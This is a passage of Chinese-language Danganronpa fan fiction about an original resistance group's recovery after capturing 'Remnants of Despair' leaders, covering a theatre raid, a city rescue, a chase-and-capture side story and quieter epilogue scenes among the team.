“父亲和大哥他们待在最下面,而后我和长得矮的九姐她们一起爬上去,越小的孩子越往上爬……最后五月一个人踩着我们的肩,攀在我们身上爬到最高层举起手……那时候她才四五岁吧?总是笑着,挨打笑着,饿肚子也笑着,练功从台上摔下去也笑着。七哥……你给伊良波留下了一个好孩子。那么你觉得她怎么样会哭呢?” “带他走。” 启介忍无可忍,扭头就走。小桥川冲十六夜摊了摊手,而后抓起男孩的头发:“你算老几啊,混球?敢让五月哭,我饶不了你。” “废话就不要说了。”十六夜头也不回得扭着男孩离开了。这帮未来机关的……特攻部队人多力量大迅速控制了九头龙的安保部队,带队的支部长十六夜惣之助似乎是管武器什么的总之跟着如月机关的小队一起行动了。五月和美奈子在剧院内部和他们里应外合保护了在场的观众,启介则抓着能抓到的伊良波家的孩子们询问头目———也就是他父亲———的下落,小桥川则负责…… “不要让五月看到他们。任何一个。” “……好。” 启介闷着头在前面走着。到目前为止,二人已经抓住了十一个伊良波家的孩子,三个在混乱中受了伤,两个最大的什么都没说,五个女孩哭着骂启介胳膊肘往外拐,然后就是刚才那个…… 真是窒息的家庭…… “找地下室,晴彦。” “……啊?” “刚才……他说了。父亲会在最下层,让孩子们以他为基步步爬上去,最后为自己换来荣誉……他在地下室。” “……地下室信号会不好,我先跟总部说一声。” “好。”启介停住脚,抱歉地回头冲他笑笑:“对不起……见家长的方式有些特殊。” 他看见三十多岁的伊良波启介微笑着拍拍他的肩头,脸上未干的泪痕宽宽的,像是心碎后的裂缝,永远无法缝合。 “无论待会发生什么……都不要插手。如果为此难过的话,就想想他们做过的事吧。无数人因为他们陷入绝望而后死去了……他们有赎罪的权力,除非他们不想要。” “还有……五月能遇到你真是太好了,晴彦。” 让她继续活在童话世界里吧。继续爬到最高的地方,高兴地扬起手,永远那样微笑吧。 “剧院小队找到支持绝望残党的剧院头目了,”黑川望向A·E,“未来机关能联系到吗?” “正在联系……两个绝望残党已被抓获。” “太好了!小桥川,能听见吗?头目抓捕到了吗?抓到了直接交给未来机关就行,快点赶去塔和市,塔和小队现在失联了!!!” “抓到了……”通讯仪中传来的声音有些为难,“启介哥铐住他了,美奈子阿姨和五月已经回飞机上了,未来机关的人也……” 一声枪响使通讯仪的双方都沉默了。很快启介的声音传来:“自杀。走了,晴彦。” “……哦哦,啊,那,我们走了……” 黑川皱起眉,看着通讯画面吱啦吱啦地熄灭:“总感觉启介哥有点不对劲……” “没时间想这些了。”铭苅摘下眼镜抓着头发,“塔和市彻底失联了……如月那家伙不是说通讯仪是半永久的吗?为什么怎么也联系不上???” “这几乎是不可能的,”A·E在一旁插嘴,“中微子通讯器几乎是不可能被屏蔽信号的,拦截和监听也不可能,通讯内容都是加密的。唯一的可能性是通讯工具本身出现了问题,但那样的话……” 那样的话队员们就有危险了。即使是A·E也知道此时此刻绝对不能说出这种话……至少为了崩溃边缘上的铭苅。 “……平良,正面战场情况?” 铭苅努力抑制着狂跳的心脏,试图让自己平静下来。先是未来机关成员被绑架,再是金城失联,然后所有人都联系不上了……饶了我吧…… “三个绝望残党,都是77届生,”平良说,“如月大人让比嘉大人和菖蒲大人提前布置好了屏障,普通的火药子弹根本穿不透电磁立场,在狭窄的街巷空间里暂时占上风。敌方部队已经在后退了,未来机关也有一个部队赶来支援——当然他们基本没法提供战力支持,是来做抓捕工作的——如月大人和未来机关的御手洗大人,以及开战前跑来的一个记者待在一起,至少目前非常安全。” “记者?现在的新闻业可是少有的还在越来越完蛋的行业。” “记者读卖日经,”A·E再次插嘴,“在绝望事件之前就很知名的记者,但是就我看有很多消息都是夸大性的……一个没什么道德感的记者。” “……A·E,把这个名字放进调查对象名单里。” “诶?啊好,但是为什么?” “直觉。” 铭苅揉了揉太阳穴,站起身的时候等待了一会儿眩晕的来临,拖着疲惫的腿脚走向黑川:“剧院那边……出发了吗?” “马上出发。”小桥川的声音传来,但是他听上去不是很精神,“那个……黑川,等回来以后,找启介哥聊聊吧……我觉得他有点……” “说实话吧。”铭苅有气无力地捂着脑袋,“自杀的头目是伊良波的父亲吧。” “……是。啊,不要……” “不会告诉五月的。美佳子,给伊良波启介安排一个时间点单独聊聊,他现在非常需要心理辅导了。结束了就快走吧,快去塔和市……” “好,美奈子阿姨已经在催了……” “平良,你这边……” “我刚抓到了一个,”波多乃的声音断断续续地传来,“说起来真是厉害……能跟我玩追逐战真是不要命。” “你能逮住这个块头的也真厉害,是叫……二大猫丸是吧,逮住了就交给未来机关。清香呢?” “我姐在坦克里,有事吗铭苅姐?” “好了,让她好好待在里面吧龙太郎。比嘉呢?” “比嘉去后方了,没事。” “终于知道回话了啊,如月大和。” “啊……诶等等怎么是铭苅啊?” “给我好好指挥现场,把命保住。塔和失联的问题等回来了再问你。A·E,接管塔和市的通讯,然后把安藤医生叫来。” “等等,”黑川猛地回头,“冷你要干……” “真是太丢人了……居然为了你们这些家伙紧张成这样……他们要是能回来,记得叫我……” 铭苅苦笑着看着她,摇晃了几下,两腿一软倒了下去。 上原近次睁开眼睛,发现头顶是明亮的灯光。他以为焦虑、急躁、废墟和血是梦,而后手心的疼痛提醒他现实的存在。 “……老板,上原先生醒了!!” 年轻的女声从何处传来,脚步声紧随而至,最后凤的围巾先一步出现在头顶:“近次!!” “醒了?真是够能睡的。”友利的挖苦紧随而至,隐约能听出变了调的嗓音,像是哭过。上原撑着……地上的毯子撑起身体坐起来,发现这里居然是凤超市,除了小队中的几人还有超市里的员工,刚才守在他身边的就是个年轻的收银员。 “大家都……啊,剑……” 金城躺在担架上咬着毛巾,祷专心地对他的腿做着手术,身边摆满了沾着血的棉花和他叫不上名字的医疗器械。 ………… 主啊,赞美你的慈悲与宽容,赞美你的无尽的爱,赞美你为救世人留下的血…… “现在除了没法联系上总部什么都好。”友利坐下来勾着头发,“幸亏凤超市哪都有,暂时还有个地方坐着。” “通讯仪没法用,很奇怪,明明看上去好好的。”凤苦笑,“不二咲大叔说城市无线电暂时好不了了。不久前一个小姑娘跟着朝日奈来找咱们,78期的腐川冬子也在,她们好像打算留在这里重新建设。十神白夜也救出来了,来看了看就走了,也没办法和外界联系。现在我们……” “只能等着救援了。” 上原撑着脑门说。 “是啊……之前铭苅说晴彦回来救咱们,可是他咋找得到啊……”凤摘下帽子使劲挠挠头,“虽然超市里头挺安全的,总回不去可不是办法,更何况剑还……” “如果不及时用更专业的器械做手术,”祷啜泣着插嘴,“金城君就再也站不起来了……而且现在,麻药已经没了……他是在活生生忍着痛保持清醒的啊……” “……” 上原别开脸,没有再看一眼的勇气。有没有什么办法让他们能从高空看见地面…… “……友利,你的丝巾可以用一下吗?” “丝巾?” “明黄色的丝巾,比较鲜亮……说不定从飞机上能注意到。” “可是这是我妈给我的……诶!” 友利一把扯下妈妈亲手给她戴上的丝巾:“我妈说……这是能带来好运的护身符,说不定就是为了这一刻准备的。但是一个丝巾肯定不够,太小了……” “这个好办。”凤向一旁的超市员工一伸手,接过一个喇叭开始喊: “全体员工请注意!!现在,把全店的!!!类似这个颜色的东西!!最好是衣服什么!!!全找出来!!!还有伸缩的晾衣杆!!!也拿出来!!系在一起,当作求救标志!!!现在!!!!立刻!!!行动!!!!” 友利和上原目瞪口呆的看着店里十几个员工前前后后行动起来翻找着店里的衣服,甚至搬出仓库里的大箱子把里面的商品一股脑倒在地上,而后迅速将明黄色的围巾床单毛衣腰带一个接一个系在一起。 “为什么不直接把床单系在一起……”友利摘下自己的皮筋,和几个女生一起把晾衣杆抻到最长,将剪成一条一条的床单用皮筋绑到上面。 “恐怕是不够大……而且太宽的话,会松开。”上原帮着凤展开系好的布条,来不及惊讶于它的长度,简单编织出方形的网格,而后绑在系好布条的杆子上,最终做出了三五米高、铺了满地的明黄色的旗帜———这一过程用了不到四十分钟。 “看!钞能力!” 凤傻笑着转身面向看傻了的两人叉起腰,得意的像是最初自我介绍时说这要给大家带特制校服的傻样子。他接过晾衣杆走出门,像是战士将旗帜插在了敌方的堡垒之上。 “我勒个娘亲……那是什么?!” 小桥川瞪着地面上飘起的长长的明黄的“旗帜”,大声呼叫着机舱里紧张地找着人的几人。那旗帜太过明亮,在阳光下反射着刺眼却令人安心的光。 “……是绊的丝巾?!等等,那剩下的那些……快!!绊他们肯定在下面!!!” “在那里!!我看见凤亲的绿毛啦!!” 真是不可思议……这真是……… 直升机停在楼顶,美奈子抢先飞奔跑下去,在楼梯口撞上卸下坚强伪装哇哇大哭的绊;祷拎着医疗箱跑上来,身后的凤和超市员工打扮的小伙子一边抬着担架上的金城一边举着吊瓶,上原则拎着些武器装备跟在最后。小桥川跑回去接过担架和启介一起抬到飞机上,一边走一边哭着大骂金城干什么都莽;五月拉着祷努力让她高兴起来,但是自己也咧着嘴笑着哭着说还好大家都活了下来。 “……其他人……” “大家都没事,都没事,”小桥川抹了把眼泪戴上护目镜,“大和那边都没事,铭苅好像低血压有点严重,安藤医生在照顾她,剩下的人就你金城剑伤的最重了你个**。” “妈妈……”友利一改此前强势又冷静的指挥者模样,倚在妈妈身上痛哭流涕,“妈妈!那个丝巾……” “它给你带来好运了……对吧?” “……妈妈!!!呜呜呜呜呜呜我真的好害怕……金城失踪了,上原紧张得脑子都糊涂了,我谁也靠不住了………” “……对不起。我在忏悔。” “……没人怪你啊上原君,”祷蹭蹭眼泪努力微笑,“那种情况下能保持冷静的才是少见的呢,说真的我都害怕得说不出话了……” “幸好大家都活着……以后我打算把全国凤超市都改建成机关附属的避难所,你们看怎么样?”凤一高跳起来,似乎忘了他已经高到跳起来就会撞到头,“然后每个员工胳膊上,都绑一个这样的黄色丝巾……我们今天做出了一个壮举。” “这绝对是一个壮举。”金城点点头,“能和你们大家一起活着回去真是……” ……真是天运之外的幸运啊。 “您有话要对我说吧,御手洗先生。” 如月大和目送着索尼娅被戴上手铐扭送离开,留给御手洗亮太一个背影。后者怯怯地咬着下唇:“啊……不愧是如月先生……但是能不能……” “您想什么时候说都可以。” “那,”读卖日经不知何时恢复了笑脸,乐呵呵地掏出纸笔,“如月先生,您对我有近乎救命之恩的恩情,我可不可以只问您一下……” “……” 世上怎会有如此死缠烂打之人?? “……那你就写,如月机关是一个不愿透露任何信息的工作单位,唯一目标是清除绝望、重建世界,出于尊重请不要再问任何问题了,我不会回答的。” “好的!感谢您的配合。” 出人意料的是读卖并未继续纠缠,而是摘下帽子恭恭敬敬地向他鞠了一躬:“我想知道的事……我已经知道了。” “……?” “再会了,如月先生……”读卖眨眨一只眼睛,“如果天运能使我们再会的话。” 天运。如月摁了下耳机:“平良,你听见了吗?” “……情况比较复杂,等你们回来再说吧。” “那个,如月先生。”御手洗焦急地扯扯他的衣袖,“那个,我……” “您想好了就说吧。” “……好吧。很抱歉之前欺骗了您,但是通过索尼娅说的那番话,我明白了一些事情……有的事我不可能永远瞒下去……” “我们还能全部活着、坐在这里,”黑川抱着文件,挤出笑容看向大家,“已经很幸运了。” 熟悉的会议桌前围坐着如月机关的干部们,打哈欠的打哈欠,打点滴的打点滴,打石膏的打石膏…… 大和困的不行,趴在桌子上直接放弃会议主持权;小冷被安藤医生批评了,过度操劳天天熬夜导致了中度贫血和低血压,正打着葡萄糖;金城……坐在轮椅上打着石膏被推过来了,就算是安藤医生和佳奈多一起亲自动手术也只能得出“一定会大大影响正常行走”的结论;塔和小队的剩下四人都疲惫地瘫在椅子上,上原更是吊着缠满绷带的手不住忏悔;剧院小队那边五月没什么变化,小桥川倒是明显有心事;正面战场上拼尽全力捕获了三名绝望残党的三个功臣一个挨着一个躺着,话说清香和比嘉什么时候关系这么好了……还强打着精神的只有一直待在基地作安保工作的山口以及另一个指挥官平良。 当然了,还有黑川自己。 “虽然大家都很累了……但是按照惯例,我还是汇报一下任务结果……”黑川苦笑着打醒A·E,“因为这一次……也算是史无前例的胜利了。” “美佳子亲说就是了。”五月打了个大哈欠。 “好……本次全员行动分为三大场所,其中主战场擒获绝望残党三人,剧院战场擒获两人,塔和行动救出78届生平民家属三人,其中一位是绝望残党的重要目标……” “细说重要目标。”打哈欠的角色轮到波多乃。 “苗木困,那个苗木诚的妹妹,”金城说,“绝望残党试图将她洗脑绝望成第二代江之岛盾子,然后以此让她哥哥绝望。” “……狠毒。” “你可以用任何一种负面词汇形容绝望残党。” “然后,”黑川轻轻敲敲桌子,“然后是非常重要的情报了……A·E,你来说。” “是。第一点:77届生是因为目睹了他们的班长,七海千秋被江之岛盾子处刑才陷入绝望的。同时,此次绝望残党的行动有部分原因是使我们中的某人陷入绝望,从而像他们一样,以点带面,整体绝望。 “第二点:塔和市的绝望残党,超高校级的幸运,狛枝凪斗,拥有凌驾于天运之上的幸运。按金城叔目击的场面,仅用一颗石子就能轰塌整座建筑,简直像是蝴蝶效应一样。 “第三点:未来机关的御手洗亮太,原·超高校级的动画师,曾被江之岛盾子要挟。他曾被蒙蔽着制作了能通过视觉影响神经的绝望影片,具体被应用于什么他无从得知。” A·E说到这里时停了下来,看了看屏幕外的黑川,然后识趣地闭上嘴。 “……总之就是这样。” 黑川看着累得东倒西歪的同伴们,苦涩和侥幸一同涌上来,而后泪水开闸了。 “大家……辛苦了……真的辛苦了……” 想说的话太多,到了嘴边却只能化为哽咽。他们似乎忘记了几天前还是圣诞———再过几天,新生后的第一个新年就要到了。 第四点:虚空的孩子或许发现了如月机关。 “虚空大人拯救过的孩子不止我一人。” 平良茜低下头。 “虚空大人……他在游历四方的时候,顺手用天运拯救了很多孩子……我只是其中跟随他时间最长的一个而已。如月大人那一句无意间说出的天运,或许就是那个读卖日经需要的东西。” “我哪知道还有这回事……就算是平良你不也没放在心上吗……”如月挠挠头。 “但是我们可能想错了……” 平良若有所思地看着自己的手。 “还有那个幸运……金城大人的伤是我的过错,我一直许下的愿望只是希望大家活着……我没想到……” 黑川把手搭上她的肩膀,摇了摇头。 “平良……这不是你的错。你……愿意为你们的罪过赎罪,这已经是我们最期待的事态了。” “……但愿如此。” 平良看向窗外。窗外下着大雪,雪在树枝上堆了起来,明天早上它们会化成晶莹的冰挂在树上,一摇就落下满树璀璨。 ……就像圣诞节那天一样。 【番外】 “那个大块头,看见了?” “啊……真不小。” “一起上,还是我自己去?” “谁跟得上你啊?但是要小心点,那家伙看着不像好对付的样子。” “清香,掩护。前面的装甲车,往两边撤!” “好嘞!龙太郎,站起来!准备装填!” 被敲了脑壳子的牧龙太郎骂骂咧咧地站起身抱起炮弹:“还有啥可打的啊,能打掉的都打掉了……某人一瞄一个准……” 牧清香则把腿翘到控制台上,优哉游哉地往嘴里塞了一根pocky:“调成追踪模式,这大家伙机动性意外地好。喂喂比嘉你个蠢货挡住观测了!” “啊啊大小姐,我这不是给波多乃倒地方嘛!!” “倒出地方就别说话了,小心被发现了然后炸死。”波多乃菖蒲伸伸胳膊,抻了抻腿脚,俯下身来摆好姿势。 如果在普通的运动场上……或者更广泛一些,在任何一个运动场上,这种常见的短跑起跑姿势都不过是家常便饭,不值一哂。 当然了,很可惜,这里并不是波多乃曾打破世界纪录的奥运会赛场,也不是平日训练的普通跑道:她面前是堪堪收拾好的街道,或者说曾经的街道,如今散布着灰烬和硝烟的气息;身后则是如月机关的坦克,比嘉光弘正蹲在上面,坦克里牧清香和牧龙太郎姐弟正随时待命。 “需要发令枪嘛?”清香嘬嘬手指,舔掉融化的巧克力。 “应该是发令炮吧。” “哎呀都一样!比嘉,喊号子!!给菖蒲一点氛围!!!” 波多乃深吸一口气,看向街道尽头渐渐走来的那个大块头。大概有三百来米,周围没什么楼房,沥青路比较宽。一旦擒获,或许只能肉搏……可以利用旁边的电线杆试试。 比嘉站起身,蹬了蹬有点麻的腿:“好了好了!记着波多乃,你的唯一目标就是抓住他。擒拿术能记得吧?” 比嘉和波多乃在实战中应该多利用腿部力量,这是金城剑作为战斗指导对二人说过最多的话。波多乃轻笑一声点点头:“肯定没有金城和茜用的熟练,但是足够了。” “匕首、□□和电磁镣铐,都拿好了?” “拿好了。给信号吧。” 面对较为高大的目标,可以利用腿部力量施行“剪刀腿”,向地面转移重心就可以束缚。这是金城亲自指导格斗技巧时的技巧,那时她震惊于看似瘦小的金城一次性仅用腿脚就撂倒了山口。 波多乃盯住几乎快两米的壮汉,像以往的每次起跑一样,将注意力集中到腿脚。 “预备——————” 融会贯通,波多乃菖蒲,融汇贯通。对手是……绝望残党的二大猫丸,你的目标只有一个。 擒获他。 “跑!!!!!” 几年以前她在100米短跑锦标赛上如同飞箭一般直直冲出,连风都来不及与其共舞,飞速交替的双腿几乎无法控制。就连地面,就连地面也感觉不到了,就像是飞起来了一样。冲线的时候整个世界都在为她欢呼,教练和队友将拥抱和鼓舞送给她,最终她站在领奖台上,捏着金牌微笑。 那些欢呼,那些鼓舞……她很清楚其中的绝大多数声音来自人本身对荣誉和数字的追求。那不是对“波多乃菖蒲”的鼓舞,也不是为“波多乃菖蒲”欢呼,而是对她打破的那个数字……他们不会在乎“波多乃菖蒲”除了田径运动之外的一切,更不会在乎她爱吃什么、喜欢拿什么打发时间。 因此她没有交心的朋友。 令人欣慰的是……那是过去的事情了。 距离二大还有不到十米的时候,波多乃纵身一跃,高高跳起。 很少有人记得她不仅擅长跑步。跳高也好跳远也好,标枪啊铅球啊,都曾是她的训练项目。 仅仅两米高……轻松得很。 “噢!真是个不错的运动员!” 如果没记错,二大猫丸在学园时的才能……是超高校级的经理人。专门辅助训练运动员的人啊……那一定对人的肌肉运动足够敏感了。 “平衡性力量和速度都是绝佳的!!非常不错的□□素质!!!可惜———” 到达了顶点,该落下了。按照曲线,应该正好落在他身上,而后进行下一步计划…… “可惜你碰上的是二大猫丸!!!!你的肌肉的收缩和运动,已经暴露了你的目标!剪刀腿对二大猫丸来说根本不是威胁啊啊啊啊啊啊啊啊啊啊呜噢噢噢噢噢噢噢噢噢噢噢噢——————” 壮实高大的绝望残党伸手要去抓住她的双腿,却出乎意料地扑了个空:“噢噢噢噢噢!!以这种方式展开的背跃式跳高吗!!!” “这才刚开始。” 波多乃伸手抓住他的头,用甩过整个身躯的惯性将自己整个人摔倒二大颈肩上,而后夹紧双腿,用膝盖弯狠狠缠住脖子。 “高大强壮的目标,通常来说灵活性较差,因此可以被剪刀腿压制。”金城拉着山口说,“而如果对方对此有所准备,或者体型过大无法直接摔倒呢?山口,按我教的做。” “噢!!” 山口摆好架势。金城俯身蓄力,继而跳起、扬起腿别到山口颈部;后者则伸出手试图抓住他的腿把他扔下去———这是最有效的应对剪刀腿的方式———然而金城扭转了重心,抓着山口的双肩甩起身躯,而后并着双腿用膝盖弯夹住喉咙。 “嘎———” 金城轻飘飘地跳下来:“大概就是这样:用大腿和小腿之间的力量夹住喉部,在对方窒息的时候顺着他往下倒,最好能趁机抓住一只手别到身后,然后擒拿。” “咕噢噢噢噢噢噢噢噢噢噢噢!!!” 坚持住,坚持住!!! 波多乃死死抓住二大的左手向他身后拽去,跑来帮忙的比嘉则忙着在他腿上拴上电磁镣铐。 “快一点,比嘉,”波多乃大叫,“太强壮了,我没法………” “小心!!!波多乃!!!” “呜噢噢噢噢噢噢噢噢噢噢噢!!!!二大猫丸不会在此落败!!!” 二大晃起身体将波多乃甩了下去,随即转身跑开。比嘉连忙丢下手里的设备给了波多乃一个缓冲,而后啐了一声:“我*!!叫他跑了!!!” 波多乃大喘着气抬起头,皱着眉看着越跑越远的二大猫丸,忽然有了办法。 “……咳……比嘉,把另一半电磁镣铐给我!!” “……我明白了,”比嘉手忙脚乱地捡起散落在地上的装备,“现在……应该来得及。” 现在追赶上去,用电磁力禁锢的镣铐距离另一半较近的时候会吸到一起,还有机会逮捕…… 至于追赶……… 不过是又一场起跑而已。 熟悉得不能再熟悉的姿势,集中注意力在绷紧的肌肉上,然后——— “加油哇,菖蒲!!!” “没问题!!如果是波多乃的话……!!” “波多乃姐!加油!!!!” 这时耳机中传来一声轻呼。波多乃心一颤。 “加油啊……菖蒲酱。” “………” 在这里他们只会为“波多乃菖蒲”喝彩。 “没问题的……茜。” 波多乃如同飞箭一般直直冲出,连风都来不及与其共舞,飞速交替的双腿几乎无法控制。就连地面,就连地面也感觉不到了,就像是飞起来了一样……… 但是这次的目标不是永远的红线,而是正努力奔逃的绝望残党。 “呜哦哦哦哦哦哦哦哦哦哦哦哦!!!!!” 波多乃扔出镣铐让它和另一半吸到一起,被束缚住双脚的二大猫丸应声倒地。惯性之下往前晃了几步的波多乃努力调整着呼吸,而后高兴地向赶来的比嘉挥了挥手。 打破世界纪录的时候她拿着金牌站在奖台上,挤出微笑;如今她站在被硝烟和灰烬覆盖的战场上,大笑着挥舞起手臂。 “………真是可惜啊。” 波多乃看着轮椅上的金城轻声叹息。 “这次的任务也多亏了金城此前的教导,虚晃一枪的腿部技巧。但是你却……” “好了好了别说了菖蒲。”清香苦笑着摆摆手,“金城可别在意啊,菖蒲说话你也不是不知道。” “对不起我又………” “没关系的。”金城抬起头微笑着说,“我也……没有什么可难过的。教给你们的格斗能被用上……我已经高兴了。” “可是,你以后有可能再也………” “好了好了菖蒲我们走吧!!” 金城看着离去的二人,低下头叹了口气,继而不自觉地继续微笑。 ……的确没什么可惜的了。这已经是最好的结局了。这一点,或许所有人都心知肚明。 8. 贾巴沃克篇 黑色的熊。白色的熊。 黑色的熊被扭断了脖颈。是那个牧师,他的力量很不错,会使用巧劲,能将铁制的黑白熊活活拧死,虽然他似乎只以为那是普通的黑白熊。 白色的熊被击中了绷带下的左眼。那个警察做出了正确的判断,认定了熊的本质,保护了他翅膀下的小鸟,自己却折了翼。 …… 无论如何,命运的预定调和又要开始了。 神座出流伸手掏出黑黑熊和白白熊的脑内计算机,稍一用力,扯断了电线。 还有不到三个月。苗木诚会找到他,然后将他送去和绝望残党“团聚”,而后一同送去贾巴沃克岛。再然后…… 就是暂时无法预测的未来了。 在一切的计划中,79期生的幸存是唯一的变量。他们已经无意间改变了命运的轨迹:本来会死在塔和市的那两个要救助民被他们救下,某种意义上使未来某时间的某些事件发生了变动…… 真是奇妙啊。神座出流捏起小小的发卡,让阳光透过它。 未来无法再预测了……这可以被称为“希望”吗? “加油加油,再走一步就好了,加油!!!” 金城剑抓紧栏杆,咬着牙挪动着腿,堪堪“走”到了尽头。一旁等候已久的山口驱连忙走过去扶住他几乎要倒下的身体,祷佳奈多则推着轮椅跑过来。 “康复训练做的不错,”安藤光翻了翻手中的记录,“我还是第一次看见术后一周就能下地试着走路的……但是金城先生你要知道,你不是普通的骨折。长时间压迫和错过黄金救助时间使你的肌肉出现一定程度的萎缩,完全恢复到伤前状态很难了。做好心理准备。” 金城摇摇头:“没关系……而且大和说本来就有在研究外骨骼支架,我没有很担心。” “……金城先生,您真是像剑一样坚韧。” 剑………吗。 金城低下头笑了笑。 “过奖了,安藤先生。” 黑川美佳子打开咨询室的门,招呼着外面的人进去。愣着神的小桥川晴彦点点头走进去,迷茫地看了看四周,接着被伊良波启介招呼着坐在了他旁边。 “差不多没问题了。”黑川捋捋刘海叹息,“这几天要做的事还不少……上原天天蹲在他那个小教堂里忏悔,心理辅导的工作只能我一个人干了……” “辛苦了,黑川。” 启介微微笑着说。小桥川回头看了一眼他,重重地叹了口气:“哥啊,你可真是把我吓坏了……约谈了八次了啊哥……” “长时间的心魔,需要治疗的时间自然也长一点。”黑川一屁股瘫在椅子上,“毕竟……说实话,我也是头一次看到这样的家庭……五月酱能保持着如今的性格,离不开启介哥的功劳。所以启介哥偶尔也依靠一下我们吧———” “毕竟孩子们都已经足够坚强了。” 启介抬起头,不知看着些什么。 “过去的路,我已经铺平了……未来的路,我们一起走下去。” “会面结束了?” “结束了。”如月大和摘下帽子,瘫坐到椅子上,“苗木诚的邀请还是能安心一点……但是铭苅,现在有个让我挺为难的事情。” “怎么了?” 铭苅冷打开茶杯的盖子,晃了晃闻闻里面的气息,扣会盖子瞟向如月。 “自从你不喝咖啡改喝茶了就更像老干部了。” “说正事。” “未来机关要请我去制作一个程序。” “……啊?” “我当然拒绝了。但是他们所说的这个程序……大概就是,制造一个虚拟世界,将人脑与其连接,使人的意识完全沉浸于程序世界中。此后可以将程序世界中的人的记忆覆盖到人脑,也就是记忆的覆盖和代替……呃你听明白了吗?” “明白了。他们要做这东西干什么?” “苗木诚似乎打算用这个程序拯救绝望残党。我大概明白他的意思……在程序世界里给他们构建一个虚假的世界,度过虚假的学园时光,然后像学生时代一样高高兴兴地恢复希望……同时记忆重置和恢复系统也能用上,要把他们的记忆倒推到入学时。” “但是他们不应该知道79届生被卷入的自相残杀啊……难道你……” “……我告诉了苗木诚。” “……如月大和,你上次相信未来机关相信苗木诚,险些送了金城的命!!!” “我知道……但是这样一来,不仅可以解决绝望残党的问题,或许还能让他们用自己的方式赎罪……所以我很纠结啊,铭苅……” “……这是我最后一次给你擦屁股了,如月。” “你有办法?” “想要发明家的才能的话……我们有不止一个。” 如月抬起头,和铭苅一起看向笔记本电脑。 新年之前的如月机关,经历了重建以来影响最大的一次集体行动。虽然做出了逮捕五个绝望残党头目、收复塔和市的壮举,代价却十分惨重。不仅最重要的战斗力金城直接一级伤残,一向冷静可靠的上原和启介也陷入心理阴影危机。虽然几周以后事态逐渐向好,但毫无疑问裂缝出现了。 可是无论是谁都不想看见裂缝的出现。 这次事件后不久,以凤超市和各地运动员团体组成的地下情报网逐渐形成。发起者是凤,自塔和事件后他要求所有凤超市的员工都要在左臂上戴黄色丝巾,以此纪念救援行动时的旗帜;逐渐恢复秩序的体育界,也在比嘉、波多乃和友利的争取下,同意了在体育场、训练场等地设立如月机关的眼线并配备相应的设备。希望并未消失,只是…… 只是大家真的很疲惫了。就算是最活泼的五月,也因为哥哥的影响难得露出皱眉苦脸的样子。 …… 是应该休息休息了。 而雪会逐渐化成冰凉的水,树木会逐渐抽出绿色枝条然后长出叶子。天空会逐渐清朗起来云朵越来越稀薄,窗外鸟的鸣叫会提醒大家春天终于来了。 三个月过去了。 凤会令人震惊地长到比山口还高了一点,金城会从轮椅上站起来试着依靠拐杖行走,比嘉会挠着脑袋公开和清香长达半年多的地下恋(虽然早就人尽皆知)。而后在某个刮着不轻不重的风的下午,如月和黑川推着金城来到基地外面。 “……你们记得明天是什么日子吧。” “记得,当然记得。” 如月机关重建一周年,也是79届生逃出生天的一周年。 那天惊惶的大家没来得及拍一张纪念照,似乎也没人有心思拍照。但如今…… “明天给大家拍张照片吧。”黑川提议,“这一年……真的辛苦了。” 如月点点头:“而且……至少现阶段,我们有理由纪念一下。” “纪念一下绝望残党被全部捕获,对吧?” 今天的风远没有一年前那么张狂。虽然感知的高度不一样,金城却对此非常确信。 “过段时间,咱去未来机关把A·E带回来,就可以安心了。”如月拍拍金城的肩膀,“到时候又要麻烦你了,剑。他们可要为工伤负责啊。” “就是就是!”黑川附和着。 金城剑抬起头。 “那之后呢。” “那之后……?” “那之后的未来,我们要怎么办呢?绝望消失之后的未来。” “……” 谁也没想过这个问题。 “嘛……说不定就是,代替政府的职能?或者和现在一样,让未来机关当明面上的政府,我们继续地下工作?” “……” 三人一起抬起头,看向天空中的太阳。 谁也不知道未来是什么样子……但是都不由自主地试着去想象。绝望的命运将大家联结在一起,那之后呢? 谁也不知道未来的样子。 “喂喂,能听见我说话吗?” “……你还好吗?好像有些混乱呢。” “我也是呢,倒不如说,其他所有人也都一样哦。” “毕竟突然……被卷入这么奇怪的事件里……” “诶?你有在听吗?” 日向创睁开眼睛,由被刺目的阳光逼的再次闭上。面前苍白的少年笑了笑,伸出手将他拉起来。日向发现自己在沙滩上,迷惑地看向四周时隐约想起了刚才的诡异情形。 “………” 诶? 我的才能……是什么来着? 你的未来会是什么样子? 在这个世界里你会明白“希望”的意义吗? 你的“希望”能否战胜不可逆的绝望? 你能否创造出不可能的未来? ……… 如果你做到了……这个世界会不再那么无聊吗? “怂包,现在不冲更待何时?” 比嘉一巴掌扇到小桥川脑袋上,后者吃痛地嗷了一声,顺手把手里的小盒子塞进兜里:“干什么啊!!走路怎么没声啊混球!” “嚯,胆子这么小,啥时候也成不了事咯。” “……闭嘴。” 门里的寿星五月正高高兴兴地跟着大家一起切蛋糕闹着玩,难得把压箱底的小丑服拿出来逗得女孩子们哈哈大笑;等到了送礼物的时候,身为最亲近的人之一的小桥川却借口上厕所跑了出来,然后…… 然后被比嘉逮了个正着。 “你就帮我保个秘吧我的老哥,”小桥川苦笑着摸了摸兜里那个覆着天鹅绒的小盒子,“我还没……哎呀,感觉还是太……” “不早了,小子,来年就合法了。” 比嘉当然知道那个漂亮的小盒子里装着什么——或许只有这个傻子以为别人都不知道。 “……不是这个原因啊我草我的脚趾头!!!” 面无表情摇着轮椅压着两人的脚路过的金城:“啊?抱歉,没看见。” “……等等你刚才就在外面??你看了多久了???” “我什么也没看见。我也不知道有怂包攒了半年的钱去买了钻戒。” “………金、城、剑。” “我真的什么也没看见。我也不知道有人对着戒指嘀咕了半天磨叽着着要不要送出去。” “好哇,你可真是什么也没看见。光弘,给他飙个车。” “走着!!!” 两人默契地一人抓着一侧轮椅扶手,准备像往常一样把金城推出去(美其名曰“飙车体验”),但这次金城不慌不忙地摁下不知哪个摁钮,一阵咔咔啦啦的响声后轮椅上的某部分装置附贴到他腿上,而后在两个习惯了调皮捣蛋的家伙面前稳稳地站起来: “全名是,便携式钛钢质外骨骼辅助行走器,还在实验阶段,但是足够正常行走跑跳———也能揍人。怎么样?皮痒了?” “我草了如月到底在发明些什么……” 比嘉黑着脸低下头看着捆在……绑在……总之就是套在金城腿上的黑黢黢的玩意,不沉吗?但是说起来,因为肌肉受损太严重,这家伙已经很久没正常走路了…… 如月,你真是个天才混蛋。 金城摊开手:“好了,推着轮椅玩去吧。我要进去告诉伊良波………” “别!!!别啊我的老哥!!!你别!!!” 但是门已经打开了。“伊良波,我………” “我草别说!!” 小桥川嗷地一声捂住金城的嘴,和正在快乐开趴的众人面面相觑。 “………呃你看金城能走路了!!” “感觉怎么样?还适应吗?” 